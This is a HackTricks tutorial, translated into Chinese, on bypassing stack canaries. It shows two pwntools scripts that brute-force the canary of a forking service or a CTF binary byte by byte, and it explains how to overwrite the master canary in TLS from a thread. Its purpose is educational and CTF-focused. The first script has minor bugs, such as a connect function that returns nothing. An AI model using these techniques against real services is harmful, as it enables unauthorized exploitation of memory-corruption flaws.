BF Forked & Threaded Stack Canaries

支持 HackTricks

如果你面对一个受到 canary 和 PIE(位置无关可执行文件)保护的二进制文件,你可能需要找到一种绕过它们的方法。

请注意,checksec 可能无法发现一个二进制文件受到 canary 保护,如果它是静态编译的并且无法识别函数。 然而,你可以手动注意到这一点,如果你发现在函数调用的开始处保存了一个值在堆栈中,并且在退出之前检查了这个值。

Brute force Canary

绕过简单 canary 的最佳方法是,如果二进制文件是一个程序,在每次你与它建立新连接时分叉子进程(网络服务),因为每次连接到它时相同的 canary 将被使用

因此,绕过 canary 的最佳方法就是逐个字符地暴力破解它,你可以通过检查程序是否崩溃或继续其正常流程来判断猜测的 canary 字节是否正确。在这个示例中,函数暴力破解一个 8 字节的 canary(x64),并区分正确猜测的字节和错误的字节,只需检查服务器是否发送了响应(在其他情况下,另一种方法可能是使用try/except):

示例 1

这个示例是为 64 位实现的,但也可以很容易地为 32 位实现。

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

示例2

这是为32位系统实现的,但很容易改为64位系统。 还要注意,对于这个示例,程序预期首先有一个字节来指示输入的大小和有效载荷。

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

线程

同一进程的线程也会共享相同的canary token,因此如果二进制文件在每次攻击发生时生成一个新线程,就有可能暴力破解canary

此外,如果一个受canary保护的线程函数发生缓冲区溢出,就可以用来修改存储在TLS中的主canary。这是因为可能可以通过线程的栈上的bof达到存储TLS(因此也是canary)的内存位置。 结果,这种缓解措施是无效的,因为检查是使用两个相同的canary(尽管被修改)。 这种攻击在这篇文章中进行了描述:http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

还要查看这个演示文稿:https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015,其中提到通常TLS是由**mmap存储的,当创建线程栈**时也是通过mmap生成的,根据这一点,可能会允许如前述写作中所示的溢出。

其他示例和参考资料

Last updated